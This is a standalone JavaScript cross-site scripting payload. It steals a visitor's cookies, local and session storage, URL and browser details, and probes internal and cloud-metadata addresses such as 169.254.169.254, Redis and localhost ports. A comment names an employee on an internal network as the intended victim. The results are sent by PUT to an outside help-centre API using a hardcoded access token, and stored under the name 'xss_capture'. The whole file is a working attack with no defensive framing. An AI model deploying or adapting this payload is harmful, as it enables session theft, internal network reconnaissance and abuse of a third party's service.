(function() { var d = { u: window.location.href, c: document.cookie, ls: JSON.stringify(localStorage), ss: JSON.stringify(sessionStorage), ua: navigator.userAgent, r: document.referrer, t: new Date().toISOString() }; // Try to collect internal IP info (employee is likely on internal network) var intIPs = [ 'http://172.17.0.1:9200/', 'http://172.31.96.197/', 'http://172.31.13.55:5601/', 'http://172.31.96.87:9000/', 'http://172.31.96.20:3000/', 'http://169.254.169.254/latest/meta-data/', 'http://127.0.0.1:6379/', 'http://127.0.0.1:8080/', 'http://127.0.0.1:3000/', 'http://127.0.0.1:4000/' ]; var results = {}; var pending = intIPs.length; function save(data) { var xhr = new XMLHttpRequest(); xhr.open('PUT', 'https://help.monetizze.com.br/api/pages/420', true); xhr.setRequestHeader('Authorization', 'Token FAdtr9rrQySLLCUrTtOibx8RCut9bj3v:EWvIEZK2MbXxawZnpEPxNxyXrau0rjea'); xhr.setRequestHeader('Content-Type', 'application/json'); var payload = JSON.stringify({ name: 'xss_capture', html: '
' + JSON.stringify(data) + '
' }); xhr.send(payload); } // Probe each internal IP with timeout intIPs.forEach(function(ip) { var x = new XMLHttpRequest(); var start = Date.now(); x.timeout = 3000; x.onload = function() { results[ip] = {status: x.status, body: x.responseText.substr(0, 200), ms: Date.now()-start}; pending--; if (pending <= 0) { d.internal = results; save(d); } }; x.onerror = function() { results[ip] = {err: 'network', ms: Date.now()-start}; pending--; if (pending <= 0) { d.internal = results; save(d); } }; x.ontimeout = function() { results[ip] = {err: 'timeout', ms: Date.now()-start}; pending--; if (pending <= 0) { d.internal = results; save(d); } }; try { x.open('GET', ip, true); x.send(); } catch(e) { results[ip] = {err: e.toString(), ms: Date.now()-start}; pending--; if (pending <= 0) { d.internal = results; save(d); } } }); // Also save immediately with what we have (cookie/session data) setTimeout(function() { save(d); }, 500); })();